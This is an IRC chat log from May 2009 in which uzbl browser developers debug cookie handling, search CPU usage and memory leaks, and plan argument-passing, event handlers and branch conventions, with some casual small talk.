15:52 < Dieterbe> and afaik glib has a function to do just that
15:53 < DuClare> A shell doesn't interpret it
15:53 < DuClare> It's an argument vector directly passed to the executable
15:53 < Dieterbe> no, but glib has functions to prepare a string to be passed to a shell
15:54 < Dieterbe> this is the function we should use to show to the user what is passed
15:55 < DuClare> So we make it look like it's being interpreted by a shell when it's not.  Okay, I'll do it
15:56 < Dieterbe> yeah.. just it's clear to the user which argument is which
16:10 < DuClare> Why the f does the cookie handler execute TWICE..
16:11 < DuClare> ... -_-
16:12 < Dieterbe> it is called for every http request
16:13 < DuClare> Yeah.. but, but.
16:13 < DuClare> There's a little problem
16:13 < DuClare> The second call doesn't come via handle_cookies
16:14 < DuClare> .. or maybe it does
16:14 < Dieterbe> holy shit! your pc must be possessed by an evil daemon who invokes scripts without your knowledge!
16:14 < Dieterbe> maybe there's a portal to another dimension in your room
16:14 < Dieterbe> ... or maybe it does. yeah
16:15 < DuClare> The second call also causes a segfault
16:15 < DuClare> :)
16:15 < barrucadu> I prefer the first explanation. Far more sensible. :p
16:16 < Dieterbe> yeah, the handle_cookies being called twice .. that would be really silly. what did you smoke DuClare ^^
16:16 < DuClare> http://hikari.serveftp.org/calling_cookies3.txt
16:17 < Dieterbe> hey so DuClare , do we agree on the sync/async/stdout thing?
16:18 < DuClare> I need to give it more thought as soon as I'm done with this one.  It's somewhat hard to discuss given that we've got entirely different code and I'm still busy polishing this thing I have..
16:18 < barrucadu> Do we need to be able to expand environmental variables in SET and BIND commands? (ie: for set history_handler    = $XDG_CONFIG_HOME/uzbl/handlers/history.sh aks suchlike)? ...'cause we now can :p
16:19 < Dieterbe> i was gonna say, "it would be nice but maybe too much effort" . you rock :P
16:19 < Dieterbe> hey wait a minute
16:19 < barrucadu> I discovered char** environ :)
16:19 < barrucadu> http://github.com/Barrucadu/uzbl/commit/6bc1e46f990322930690d048aedbfdbc486e14ac
16:19 < Dieterbe> no, never mind
16:20 < DuClare> Can you explain why the command gets spawned twice even though HANDLE COOKIES is called once.. -_-
16:21 < DuClare> Hmmmm...
16:21 < DuClare> Actually,
16:22 < DuClare> The script is executed once, I think. o_O  It looks like the end of the function gets executed twice
16:22 < rob|> barrucadu: hmm, do we need that expasion for all variables? also you need to free env
16:23 < barrucadu> rob|: I know, but uncommenting the line breaks things
16:23 < rob|> barrucadu: you are using the wrong free function, you need g_strfreev() for that
16:24 < Dieterbe> it would be nice if we could use bash' history expansion, or hell even bash *logic* to "construct" the config
16:24 < DuClare> Meh, that's not it either..
16:25 < Dieterbe> in fact, you could have a simple wrapper that does "echo `cat config file`" | uzbl
16:25 < DuClare> Dieterbe, You can do that.  Write the config in bash and pipe to uzbl
16:25 < Dieterbe> and bash will expand the variables
16:25 < rob|> Dieterbe: we can, it just not possible to pipe a bash script to uzbl
16:25 < rob|> Dieterbe: and i guess we don't want that anyways
16:25 < DuClare> rob|, It's possible to pipe its output :)
16:25 < Dieterbe> yeah, i mean the output
16:25 < rob|> DuClare: exactly
16:26 < rob|> Dieterbe: well, "create_config.sh | uzbl"
16:27 < Dieterbe> i don't know exactly how wmii does it, but it exposes it's core logic as a bash script (wmiirc) where you have functions for all events. you can then write custom shell code in those scripts if you want to do things when wmii does things
16:27 < barrucadu> rob|: Putting in g_strfreev() results in this: http://misc.barrucadu.co.uk/parseenv
16:28 < DuClare> Hmmm.
16:31 < rob|> barrucadu: hmm, not sure what's going wrong there though we use g_strsplit()/g_strfreev() in several other places just like that and it works
16:31 < rob|> anyways, need to leave now. bbl.
16:32 < DuClare> Sigh.
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16:41 < DuClare> A-ha
16:41 < DuClare> It *was* called twice.  The other call is from save_cookies
16:41 < barrucadu> Dieterbe: I've just found that the github feeds only comtain the last 10 commits for a branch, so the recent commits thing on the website will be wrong fairly often.
16:42 < DuClare> Why on earth didn't I notice it before -_-;
16:42 < DuClare> Well, I'm going to school →
16:42 < Dieterbe> DuClare: lol :)
16:42 < barrucadu> Now? What time is it where you are? <.>
16:42 < DuClare> Dieterbe, You should've told me :>
16:42 < DuClare> Mon May 18 17:42:44 EEST 2009
16:42 < Dieterbe> DuClare: any sane person would see it if you have --verbose and http_debug 3 :P
16:42 < DuClare> Back in ~3 hours, bye
16:43 < Dieterbe> in fact, only --verbose would be enough
16:43 < Dieterbe> one PUT and one GET :P
16:43 < DuClare> Nope, because the segfault happens before I see the PUT
16:43 < Dieterbe> oh
16:43 < barrucadu> Is everyone here but me from continental Europe? :p
16:44 < Dieterbe> DuClare: in that case, sorry :) didn't think of it
16:44 < Dieterbe> barrucadu: you call the UK continental ? o_O
16:44 < barrucadu> No. I said "everyone *but* me"
16:44 < Masca> barrucadu: México here.
16:45 < Dieterbe> barrucadu: oh, misread sorry :P
16:54 < Masca> Hey the search in uzbl is too expensive in cpu. =P
16:58 < barrucadu> Hmm, so it is :p
16:59 < Dieterbe> can you check if it helps if you replace '*' in the bind with '_' ?
16:59 < Dieterbe> (eg don't execute again for each single char)
17:00 < barrucadu> Dieterbe: It's the webkit_web_view_unmark_text_matches (page); and webkit_web_view_mark_text_matches (page, uzbl.state.searchtx, FALSE, 0); calls
17:01 < Dieterbe> oh.. so it's webkits fault?
17:01 < barrucadu> Commenting them out decreases CPU usage by 10% when I'm repeatedly searching
17:01 < barrucadu> yes
17:01 < Dieterbe> woohoo. another problem solved ;)
17:01 < barrucadu> Well, it's partly our fault. The problem only manifests when searching for the same thing multiple times
17:02 < barrucadu> We should only run those functions if the term has changed
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17:03 < Dieterbe> holy shit. i can push my cpu to 100% by pressing n a few times (hilight next)
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17:03 < barrucadu> Pressing? Not holding? O.o
17:03 < barrucadu> I can get to 20% if I hold it
17:03 < barrucadu> On the google homepage searching fo 'e' that is
17:04 < barrucadu> I'll try a longer page
17:04 < Dieterbe> no, just tapping a few times
17:04 < Dieterbe> yeah try a bigger page
17:04 < Dieterbe> you can easily reach 100%
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17:05 < Dieterbe> mine is 37% when I hold on the google homepage :P
17:05 < barrucadu> Wow
17:05 < barrucadu> And commenting out those two lines fixes it :p
17:05 < Dieterbe> barrucadu: what cpu do you have?
17:05 < Masca> Try this page http://www.conacyt.mx/Centros/Centros/Centros_CIDETEQ.html
17:05 < barrucadu> Intel(R) Core(TM)2 Duo CPU     T8100  @ 2.10GHz
17:05 < barrucadu> I get 100% on wikipedia
17:06 < barrucadu> I'll add a check to only run those lines if the term has changed, and see if that solves it
17:06 < Dieterbe> Masca:  yep, indeed
17:07 < Masca> And we need some feedback of how big is a page an where we are eg [25%] in the status bar. I guess it's in the TODO. I will try to hack it later.
17:08 < barrucadu> I may have fixed it. The CPU usage jumps when initially hilighting the page, but nowhere near as high as before
17:08 < Dieterbe> Masca: yep it is
17:09 < Masca> just commenting that lines?
17:09 < barrucadu> http://github.com/Barrucadu/uzbl/commit/3c72318ac3a132c0e84d7b89566fc45e9dec2f6e
17:11 < Masca> barrucadu: you just broke my patch. jeje
17:11 < barrucadu> :p
17:11 < Dieterbe> nah, git can merge pretty smartly
17:11 < Dieterbe> well, only 1 way to find out :)
17:13 < Masca> barrucadu: can you cange gchar searchxold[500] to gchar *searchold and use g_strdup() instead of strcpy?
17:13 < barrucadu> ok
17:14 < Masca> Nice. =)
17:15 < barrucadu> Done
17:17 < barrucadu> Wait, now it dies when searching <.>
17:17 < barrucadu> One minute :p
17:21 < barrucadu> Err...
17:21 < Masca> mmm... "Open in new window" is broke for me, can you confirm the bug?
17:21 < barrucadu> Any ideas why it's segfaulting after putting in your suggestion Masca? http://github.com/Barrucadu/uzbl/commit/c1d4214ea997959e95f50f138da9906bd58e6e11
17:22  * Masca works as tester until finishing school.
17:23 < barrucadu> nm, fixed it
17:23 < Masca> mmm backtrace?
17:24 < barrucadu> It would seem strcmp doesn't like it when one of the arguments is null
17:24 < Masca> g_free(...searchold); before g_strdup() it. But that is just a leak, is not suppoused to carsh.
17:25 < Masca> you can use one of the g_functions ;-)
17:25 < Masca> g_strcmp0(a,b);
17:26 < Masca> And maybe set searchold = NULL; in the main.
17:27 < Masca> Just like this. http://github.com/salinasv/uzbl/commit/7dc4f6757170638977d8a0a2fd8ef6fbd4bc7c8d
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17:30 < barrucadu> http://github.com/Barrucadu/uzbl/commit/355b6d47dccca82bd2240f451c0c811a2c32b1db and http://github.com/Barrucadu/uzbl/commit/2fd0f561bfa966eb22443c785ad82df9d11ef87b :)
17:30 < Masca> What do you think about changing that "static Uzbl uzbl;" to static Uzbl *uzbl; and uzbl = g_new0(); it in the main?
17:31 < barrucadu> How/why would that be a better method?
17:32 < Masca> because we will not need to set it to null in main to get a valid assertion if (foo)..
17:34 < Masca> I don't know if it will crash because uzbl.state.searchold could not be NULL but a invalid pointer.
17:34 < Masca> I mean "the first time".
17:36 < barrucadu> Well, if you can think of a workaround for that, go for it :)
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19:12 < Dieterbe> fg
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19:52 < Dieterbe> rob|: here?
19:53 < Dieterbe> rob|: you sure we need to explicitly call load_uri ( http://github.com/robm/uzbl/commit/2518760dbfec5c7f7281f6ab94eeaa6ae9c598a4 ) ?
19:54 < Dieterbe> rob|: because everywhere if we do set_var_value("uri",...) we will call load_uri
19:56 < Dieterbe> hmm.. the arg parsing doesn't call that function.. let me see if we can use a callback or something
20:15 < DuClare> o/
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20:28 < DuClare> Dieterbe, Does the output look correct? http://hikari.serveftp.org/calling_cookies4.txt
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20:33 < Dieterbe> DuClare: on first sight, yes
20:35 < DuClare> Okay, I think I'm about done, did some final cleanups.. one problem though
20:35 < DuClare> I'm getting lots of warnings :<
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20:47 < github> uzbl: DuClare experimental SHA1-ca7f9a6
20:47 < github> Add KEYCMDN, which is like KEYCMD but also executes immediately.
20:47 < github> http://bit.ly/RPaIY
20:47 < github> uzbl: DuClare experimental SHA1-c7dae22
20:47 < github> Merge commit 'diet/experimental' into experimental
20:47 < github> http://bit.ly/uBaxo
20:47 < github> uzbl: DuClare experimental SHA1-0d10c26
20:47 < github> Document KEYCMDN
20:47 < github> http://bit.ly/odBR7
20:47 < github> uzbl: Dieter Plaetinck experimental SHA1-f913de1
20:47 < github> duclares keycmdn thingie
20:47 < github> http://bit.ly/SXfKO
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21:05 < DuClare> Dieterbe, Pushed, documented briefly in sampleconfig-dev.  I feel somewhat proud, but I'm also devoid of self-confidence and therefore I instruct you to approach with caution and come back to me if things fall apart :x
21:08 < DuClare> One more little push.  Done.
21:08 < Dieterbe> :)
21:11 < barrucadu> I've just edited the "script" command to run an external JS file, and added a "js" command to run one line of JS (to be consistent with "spawn" and "sh" fo *sh scripts). Not yet added %s replacement fo external scripts
21:12 < barrucadu> *to
21:13 < DuClare> barrucadu, Are you planning to add %s stuff sometime soon?
21:14 < barrucadu> As soon as possible
21:15 < barrucadu> Though it'll require a third parameter to the function - not sure how much messing around that will require
21:16 < DuClare> I've messed enough for a couple days.. now I'll take on something lighter :x
21:22 < barrucadu> Hmm, do we really need %s replacement in external scripts? I've added a "js" command, so anything requiring replacement can be done in the form "bind f_ = js window.location = document.links[%s].href;"
21:23 < DuClare> Yes we do
21:23  * barrucadu sighs
21:23 < barrucadu> This would be much easier if I knew how the command/binding code works :p
21:32 < barrucadu> I'm not making any progress hee...
21:32 < barrucadu> *here
21:34 < rob|> re
21:34 < Dieterbe> heya rob| 
21:35 < barrucadu> hi
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21:35 < DuClare> Of course I discover a bug now that I've pushed everything :x
21:36 < Dieterbe> rob|: have a look at this please :) http://github.com/Dieterbe/uzbl/commit/c2687e84b3fa12d197b5c4a559f506757212bcb3
21:36 < Dieterbe> rob|: just let me know if you think i'm taking the right direction
21:40 < Dieterbe> of course the opinion of everyone is welcome btw :)
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21:41 < rob|> hmm, looks ok. though 2 things come to mind, first what if the option is -u and not --uri? second you don't free key
21:42 < Dieterbe> yeah i couldn't figure out how to free Gstrings :P
21:42 < Dieterbe> and indeed, for short options i should make it a bit better
21:42 < Dieterbe> i also noticed if you call uzbl --verbose --uri foo, it will call the function like (--verbose, --uri); :s
21:43 < rob|> http://library.gnome.org/devel/glib/2.20/glib-Strings.html <-- g_string_free()
21:44 < Dieterbe> thanks
21:48 < barrucadu> Whoever wrote run_keycmd(): How can I send a third parameter to parse_command() which will contain whatever was typed if there is a "_" or "*" in the binding?
21:50 < DuClare> I wrote run_keycmd
21:51 < DuClare> You can't
21:51 < barrucadu> Ah
21:51 < barrucadu> Any suggestions for %s in external scripts then?
21:51 < DuClare> Uh..?
21:51 < DuClare> Hm
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21:52 < DuClare> Well
21:53 < DuClare> A simple way would be to use something like `bind foo _ = script /path/to/file %s'
21:54 < DuClare> So the script code will get the user-provided string in addition to the path
21:56 < DuClare> Of course this could then be used for passing constant parameters to a script as well; it needn't be %s.  `bind bar = script myscript a', `bind bas = script myscript b' :]
21:58 < barrucadu> But both file paths and %s can contain spaces, so how would they be separated nicely? O would it be ok to assume there are no spaced in the path?
21:58 < barrucadu> *Or
21:59 < DuClare> barrucadu, For the time being you assume there are no spaces in path.  As soon as my stuff is merged, we have a quotation system which lifts that limitation
21:59 < barrucadu> ok
21:59 < DuClare> But I've got a little bug, hopefully fixed soo
21:59 < DuClare> soon
21:59 < DuClare> :]
22:04 < barrucadu> Done :D
22:05 < barrucadu> Such a simple edit compared to what I was attempting to do: http://github.com/Barrucadu/uzbl/commit/e20008c246d0cae9a3df0fbd7ce0aade569bc17c :p
22:08 < rob|> barrucadu: why don't you use glib's IO channels, we use them all over the place anyways..
22:08 < DuClare> Dieterbe, rob|: Currently every action that wants to use separated arguments will have to "manually" splice the param string, take care of freeing, etc.  This is repetitive and inconsistent (because only some actions splice, and likewise only some actions in my branch use quotation).  I was thinking of modifying the system so that it'll *always* use the quotation system and for every action pass an argument vector rather than the ...
22:08 < DuClare> ... whole string unspliced.  This'd improve consistency, and I think it'd make things easier in the long run.  But of course every action (that makes use of params) will have to be adapted for it then..
22:10 < barrucadu> rob|: I'll adapt the function, I just wanted to get something working as soon as possible and that was more or less the first file reading example I found
22:11 < rob|> DuClare: well, sounds good for me. are you talking about the vector being a zero terminated "char **foo"?
22:12 < rob|> barrucadu: ah, ok. see settings_init for an example of doing that with io channels
22:12 < Dieterbe> DuClare: sounds okay
22:12 < DuClare> rob|, Yes, exactly
22:12 < Dieterbe> barrucadu: well, we have file reading in uzbl.c using io channels :P
22:13 < rob|> DuClare: right, good idea. i guess we could use g_strfreev to easily free it
22:13 < DuClare> Yup
22:13 < barrucadu> Dieterbe: And soon it will be the same in run_external_js () :p
22:13 < DuClare> Anyway, I'll have to fix a thing or two and test my system and then I'll look into it :)
22:14 < rob|> barrucadu: maybe you should abstract that function, so we have a read_file_by_line() (or any better name) in the utilities section
22:16 < barrucadu> rob|: ok
22:18 < Dieterbe> that reminds me
22:18 < Dieterbe> we should coordinate when, and who will do the splitup
22:19 < rob|> i hope i'll have a bit more time tommorow, i could start doing the split then
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22:19 < Dieterbe> preferrably on a day where not many other people have time :P
22:20 < Dieterbe> rob|: hm well the problem is , there are quite some commits/branches still pending to be merged in
22:20 < rob|> shouldn't be too much work, the most time consuming part is probably finding the functions that need to not be static
22:20 < Dieterbe> i did about 3 merges and i have at least 3 to go :/
22:21 < Dieterbe> so if we do the splitup tomorrow, it will probably become a mess
22:21 < rob|> well, i can wait
22:23 < Dieterbe> maybe it would also be useful, that you guys keep an eye on each others commits and if you like them, merge them in and test them
22:24 < Masca> rob|: in two days I can help you with the split.
22:24 < rob|> Masca: ok, cool
22:25 < rob|> Masca: i have a layout in mind, though'd be happy to see your proposal
22:27 < Masca> Yeah will think about that.
22:27 < rob|> Dieterbe: btw, for some reason i have an experimental branch on github now. won't use that one though, i.e. my master will be what should go into your experimental
22:28  * DuClare has an urge to say that he thinks rob or diet should do the split :x
22:29 < Dieterbe> ugh.. please everyone just do "bleeding edge stuff" in your experimental branch, that's what it's for
22:30 < rob|> Dieterbe: i'm living on that bleeding edge, won't touch stable things in uzbl until we actually release a stable version
22:32 < Dieterbe> dieter@dieter-ws-a7n8x-arch uzbl [experimental] git remote | wc -l
22:32 < Dieterbe> 12
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22:32 < github> uzbl: Dieter Plaetinck experimental SHA1-ae5ccd7
22:32 < github> disable cookies again
22:32 < github> http://bit.ly/L80ky
22:32 < github> uzbl: salinasv experimental SHA1-7dc4f67
22:32 < github> Dinamically alloc state strings.
22:32 < github> http://bit.ly/TyaXe
22:32 < github> uzbl: salinasv experimental SHA1-cd7b177
22:32 < github> Merge branch 'experimental' of git://github.com/Dieterbe/uzbl
22:32 < github> http://bit.ly/S5AE1
22:32 < github> uzbl: Dieter Plaetinck experimental SHA1-b520d89
22:32 < rob|> btw., i'd be interested in a comparision on memory usage of experimental vs. stable (i suppose dieter applies my patches only to exp. for now), so if anyone is less lazy than me and would like to track that..
22:33 < github> merge in from salinasv
22:33 < github> http://bit.ly/nUF4k
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22:33 < Dieterbe> 12 remotes i reguraly pull in from.. it would be convenient if we have a simple convention: bleeding edge -> experimantal, stable -> master
22:34 < Dieterbe> rob|> Dieterbe: i'm living on that bleeding edge, won't touch stable things in uzbl until we actually release a stable version --> then why do you want to develop straight on your master?
22:35 < rob|> Dieterbe: cause i'm nevertheless trying to commit only working things
22:35 < Dieterbe> so do we all
22:36 < Dieterbe> but if everyone starts developing on other branches, it makes it kinda hard for me to follow up
22:36 < Masca> I guess you will be the only one with a "stable" branch.
22:36 < rob|> hmm well, you have a point.
22:36 < rob|> will fix that soon
22:36 < Dieterbe> + even though most people "try to only commit working things", still, I want to do some sort of QA
22:38 < rob|> Masca: may i ask wether you're in the IT bussiness IRL?
22:38 < Masca> IRL ?
22:38 < rob|> in real life
22:38 < DuClare> rob|, It's AFK ;)
22:38 < Masca> I'm studing a master in electronic systems. I'm into FPGAs
22:38 < rob|> DuClare: you mean ASL :P
22:39 < rob|> Masca: ah, alright and you're from mexico, right?
22:39 < Masca> Yep.
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22:39 < github> uzbl: Dieter Plaetinck experimental SHA1-30131ff
22:39 < github> branches conventions
22:39 < github> http://bit.ly/PwDAn
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22:40 < rob|> Masca: oh man, still having so much trouble with the flu thing over there?
22:40 < Dieterbe> okay guys, i could not merge in/test everyones stuff, but tomorrow is another day i guess.. good night.
22:40 < barrucadu> bye
22:41 < Dieterbe> oh, and thanks everyone . good job again !
22:41 < rob|> bye dieter
22:41 < Masca> night
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22:41 < Masca> rob|: Well we have 1 week and a half vacations to "prevent" stuff. Now it's kinda stable.
22:41 < Masca> I think it was more panic than a real problem.
22:42 < Masca> You know "new virus, we don't know what is it. PANIC!!!!!!!!!!!"
22:45 < barrucadu> Yay, my read_file_by_line function works. Now to figure out what needs to be edited to use it
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22:49 < barrucadu> Hmm, I'll only make my run_external_js() use it, then let someone more competent fix all the memory leaks I'll introduce and do the rest :p
22:53 < rob|> Masca: yeah, was quite some hysteria in the media
22:54 < rob|> Masca: may i ask where you're living in .mx?
22:55 < rob|> barrucadu: hmm, are you using anything special where the way to free things is not obvious?
22:56 < rob|> barrucadu: otherwise, glib documentation does state when to free what for almost every function that needs that handling
22:57 < rob|> barrucadu: i'd like to avoid going through fixing leaks for every other commit
23:00 < rob|> the resident size of uzbl seems to be pretty stable, though i'm not sure wether the leaks that valgring shows regarding webkit are really our fault
23:00 < rob|> *valgrind
23:01 < rob|> this one is pretty strange:
23:01 < rob|> ==7134== 29,852 (7,936 direct, 21,916 indirect) bytes in 31 blocks are definitely lost in loss record 176 of 184
23:01 < rob|> ==7134==    by 0x508EBDE: pango_font_map_load_font (in /usr/lib/libpango-1.0.so.0.2400.2)
23:04 < barrucadu> rob|: I'm not sure how to free the output of read_file_by_line(). Putting "g_free (lines[i]);" in the loop in run_external_js() causes breakage, so...
23:05 < rob|> can you point me to the code?
23:05 < Masca> rob|: In the north Monterrey. Do you know over here?
23:05 < rob|> Masca: no, never been to mexico unfortunatelly though would really like to :)
23:05 < Masca>  where are you from?
23:06 < rob|> germany
23:06 < Phillemann> rob|: Where in Germany? :>
23:06 < barrucadu> rob|: http://github.com/Barrucadu/uzbl/blob/6eb4c0d4a196dc52e950474afc6fc79341b95960/uzbl.c - line 571
23:06 < rob|> Phillemann: regensburg
23:06 < Masca> Nice. Do you know a good university to do my graduate studies? =P jeje
23:06 < Phillemann> Ah, that's far away.
23:07 < rob|> Masca: hehe, there are many. not sure which one is considered to be best in you study field
23:07 < rob|> *your
23:07 < Masca> I need to check it out and find a way to do some internship.
23:09 < rob|> barrucadu: just use g_strfreev() on lines
23:11 < rob|> splitted also needs to be freed in the same way
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23:13 < barrucadu> rob|: g_strfreev()ing either of them causes this "*** glibc detected *** ./uzbl: malloc(): memory corruption: 0x0000000000eff320 *** [lots of lines]"
23:15 < barrucadu> Actually, something else is causing that
23:15 < barrucadu> Hmm
23:16 < rob|> yes, in read_by_line, readbuf must not be statically allocated memory
23:16 < rob|> oh, nvm
23:17 < DuClare> Dieterbe, Okay, I've fixed what bugs I've encountered; also added a couple handlers.
23:18 < rob|> actually that functions needs some work, "char *lines[512]" <-- why 512? and why don't you check if we don't read more than 512 lines?
23:18 < rob|> don't like that too much
23:18 < DuClare> Dieterbe, Actually, I'll try merging back from you now
23:21 < Masca> I think magic size arrays is a bad idea...
23:21 < DuClare> Magic size arrays?
23:21 < Masca> lines[512]
23:21 < DuClare> Right
23:21 < DuClare> Dieterbe, I merged your experimental with no conflicts
23:25 < barrucadu> I'm getting memory corruption from somewhere and I have no idea where...
23:25 < DuClare> Useful handlers. :)  Now I can actually see when uzbl starts loading .. and when it starts receiving .. and when it's done :)
23:26 < DuClare> Doesn't leave me guessing whether my paste script broke or if the server is just being slow
23:31 < DuClare> rob|, Am I the only one who gets occasional segfaults when reloading cfg?
23:32 < rob|> DuClare: how are you reloading?
23:32 < DuClare> cat $1 > $4
23:33 < rob|> hmm, did you try to narrow down wether it happens for a specific command?
23:34 < DuClare> Not yet.  It's been annoyingly random.. happens when I least expect it, i.e. when I'm browsing and doing something else. :/
23:34 < rob|> hmm, we should try to find what's causing that - clearly not ok
23:35 < DuClare> If an instance is spawned by a script spawned by another instance spawned by a script spawned from a shell, do I still get core dumps from the "deep" instance by setting ulimit on the shell?
23:36 < DuClare> That'd probably help debugging it.. :|
23:36 < rob|> uhhmmm#
23:37 < rob|> my mind tries to resolve all those indirections ;)
23:37 < DuClare> zsh > launcher > instance > spawn > launcher > instance
23:37 < rob|> hmm, not sure
23:43 < rob|> anyways, we should differenciate between getting the uri from a command or -u/--uri and keep the latter at a higher priority
23:45 < DuClare> That's not very straightforward
23:45 < rob|> [...] You should really consider behaving less like total jackasses on IRC too [...]  <-- wth?!
23:46 < DuClare> Huh?
23:46 < rob|> DuClare: http://bbs.archlinux.org/viewtopic.php?pid=554938#p554938
23:46 < DuClare> rob|, I'd let a wrapper do the uri-vs-default thingy
23:47 < rob|> hmm
23:49 < DuClare> rob|, If we want it to remain possible to pipe the config via stdin, then we can't really differentiate between a default uri set in cfg versus uri called by a script or whatever that wants and should load instantly
23:49 < DuClare> Unless the default uri is a variable..
23:49 < DuClare> Which is loaded immediately.
23:49 < DuClare> But that's not very nice either
23:49 < DuClare> Wrappers. ♥ I'm going to use them anyway
23:52 < DuClare> rob|, Well, this wraith guy insists on "good defaults".. thus I find it natural that he doesn't like uzbl, and no doubt our opinions seem strong to him, making us feel offending or such..
23:53 < DuClare> Meh, messed up sentence once again.
23:53 < rob|> ah, he was the one whoe started that defaults discussion in here
23:53 < rob|> i see
23:53 < DuClare> wraith0x2b
23:54 < Masca> you can bitch about crappy defaults when they come in a formal release. Don't bitch about a "experimental" DVCS branch...
23:54 < DuClare> Agreed
23:54 < DuClare> But even then, there is no definition of what's "good" when it comes to defaults.
23:54 < DuClare> Your good is my crap..
23:55 < DuClare> Etc.
23:55 < rob|> still, the uri thing could be made to work seamlessly, though. --uri stores the url in say uzbl.state.cmdline_uri - we load that one on startup and create the stdin channel after that
23:55 < Masca> I guess "good" can be defined as "easy to use" or "intuitive"
23:56 < DuClare> Masca, There is no such, because in reality "easy to use" == "familiar" == "supposedly intuitive"
23:56 < Masca> But I agree good for someone else almost always is crap to me. Or good to me crap for others.
23:56 < barrucadu> intuitive is different for everyone though, so the problem remains
23:56 < Masca> sure. Agree with both of you.
23:56 < DuClare> rob|, That doesn't help if your config file sets an uri
23:57 < rob|> it does if you use --config, though not for configs piped via stdin
23:57 < DuClare> I also don't see which part of the scripts is a chaos to a newcomer.. the scripts are no less straight forward than any other shell scripts, and the cfg mechanism is really simple :)
23:58 < DuClare> rob|, Well, do something if you like.  I'm using a wrapper anyway, and I'm also using stdin.  I have all the power over my instances :)
23:59 < barrucadu> Well, I'm off for the night. Bye
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00:01 < rob|> well, we could also say don't set a default uri if don't want it being displayed and keep things as they are now ;)
00:03 < DuClare> I'd do that :)
00:03 < rob|> what i'd definitly like to see is a way to handle handlers in a similar way to key bindings.
00:04 < rob|> i.e. export a list of events and let the user attach actions to them
00:04 < DuClare> http://hikari.serveftp.org/pc2.conf
00:05 < DuClare> Actually, I have it on my todo list
00:05 < DuClare> And I've reached towards it by letting one use arbitrary actions in handlers, as in my config
00:05 < DuClare> More needs to be done though
00:06 < rob|> ok, that's a good start at leat
00:06 < DuClare> Currently am using load_*_handlers for nice status updates
00:06 < DuClare> No longer blind as to what's going on (if anything)
00:07 < rob|> i see
00:08 < rob|> hmm, let's see how we can extend that to something more general
00:08 < rob|> btw, sampleconfig* still has the obsolete symbol names for useragent - dieter!
00:09 < DuClare> Oh, hm, now that there's keycmd, I can make my cpconf script automatically yank the url
00:10 < DuClare> Except that it might not work :|
00:10 < rob|> can we influence the entries of webkit's right click menu?
00:14 < DuClare> rob|, For the handlers, we're going to need to connect the signals to callback functions anyway..  So actually I don't see much that can/should be changed compared to what I have now.  One thing though -- we could perhaps merge the (generic?) callback functions to one and pass the signal name together in user data.. that'd remove redundant functions, making it possible to add new signals simply by looping through a list of strings
00:16 < DuClare> The same list of strings could also act as a list of signal names the user can attach actions to using a specific command.. or by using set
00:16 < DuClare> set sig <signal-name> = act
00:17 < DuClare> Maybe set handler <sig-name> = act
00:17 < DuClare> Didn't you do a similar extension to set wrt binds?
00:17 < DuClare> Oh, it was for get
00:17 < rob|> yeah, though you might want to attach more than one action to a handler
00:18 < DuClare> Maybe
00:18 < DuClare> Same goes for binds, IMO
00:18 < DuClare> Or basically anything
00:18 < DuClare> That could be extended later on
00:18 < rob|> hmm, yeah
00:18 < DuClare> OR just let the user do it via scripts (or sh)
00:19 < DuClare> That's already doable and less bloat.. slightly less convenient for the user.  Maybe a "multiact" action which runs each parameter as an action
00:19 < rob|> right that seems more of the way to do it
00:20 < DuClare> Multiact wouldn't be too hard to do, esp, with the quotation system I have.  But before that I'd like to start using argument vectors with actions
00:21 < rob|> alright, let's just not forget this idead. might be useful in the future
00:22 < DuClare> Yup
00:26 < DuClare> I think I've done enough for today.. nights o/
00:26 < rob|> bye DuClare
00:27 < DuClare> :)
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08:18 < DuClare> Morning
08:20 < xci> hello
08:20 < xci> :)
09:06 < DuClare> It's improving day by day :] http://hikari.serveftp.org/pc2.conf
09:16 < Dieterbe> rob|> btw, sampleconfig* still has the obsolete symbol names for useragent - dieter! <-- i know, it's on the todo list
09:16 < Dieterbe> morning all btw
09:17 < DuClare> Morning Dieterbe o/
09:17 < DuClare> Pushed a couple convenience features
09:19 < DuClare> Dieterbe, I can fix the symbols
09:25 < DuClare> Done
09:26 < Dieterbe> don't forget to update the todo list :)
09:27 < Dieterbe> btw i just read what you guys discussed yesterday
09:28 < Dieterbe> so you want to make all the callback functions into one function, but pass the signal name as argument, so inside the function you need to do switch/case or lots of if/elses. what would be the advantage?
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09:32 < DuClare> Dieterbe, There are some callbacks that share a body
09:32 < DuClare> Dieterbe, I.e. they only call an user-specified handler
09:32 < DuClare> We could do this always, without conditional branches
09:33 < DuClare> Then we'd use conditionals for these callbacks that actually need to do something more
09:36 < DuClare> Kinda like set_var_value, it always sets ints and then runs some additional code in the conditionals if neccessary
09:37 < DuClare> Dieterbe, This would also mean that users can bind handlers to any signals they like, even if we have no specific code for it
09:39 < DuClare> (Unless the G_* macros are deceiving me somehow)
09:40 < Dieterbe> aha, now i'm with you
09:40 < Dieterbe> sounds good
09:53 < rob|_> morning.
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09:56 < Dieterbe> heya rob
09:56 < DuClare> I'm trying to do the argvector thingy
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10:08 < rob|> ah, nice. looking forward to see your allocation method
10:10 < rob|> small style question, should comment the functions? like a short sentece what they do and what kind of memory management they expect the user to perform?
10:10 < rob|> *should we
10:12 < Dieterbe> we probably should yeah, but i think that can wait a bit. it's not much use to document every function while we are still refactoring/finding our way/changing how we do things
10:13 < DuClare> I tend to (or try to) do that if I write something that isn't obvious.  But the source is SMALL and it shouldn't be too hard to look up how different funcions are used
10:13 < DuClare> Dieterbe, Agreed
10:14 < rob|> right, so that could be done in the process up splitting the sources
10:15 < Dieterbe> or maybe after that
10:17 < rob|> yep, we need to agree if we want something like full blown doxygen or just custom comments
10:18 < Dieterbe> i would love something full blown-ish
10:18 < Dieterbe> so that we can put the docs on the site 
10:23 < Dieterbe> but i think there are more important issues to resolve first
10:28 < rob|> i'd like to resolve the webkit mem leaks, though don't see why certain things things are reported by valgrind, yet
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10:36 < Dieterbe> so DuClare , what do you do in daily life?
10:37 < DuClare> Not much.
10:37 < DuClare> Ponder, chat, code
10:38 < Dieterbe> so you must be a student :)
10:38 < DuClare> Mmm
10:38 < Dieterbe> or you don't need to work? :P
10:39 < DuClare> I would like to work, and yes, I need it :x
10:40 < Dieterbe> oh
10:40 < Dieterbe> hmmmm maybe i can figure out a business model for uzbl ;) do something like mozilla.. let us be sponsored by google ;)
10:41 < DuClare> Hehe
10:42 < DuClare> I'm kinda tired of "studying".  I've been coding since I was six, and so far I've only gotten a couple small website projects to do for money; obviously I can't get a proper job since I'm still an incompetent student!
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10:46 < barrucadu> hi
10:46 < DuClare> o/
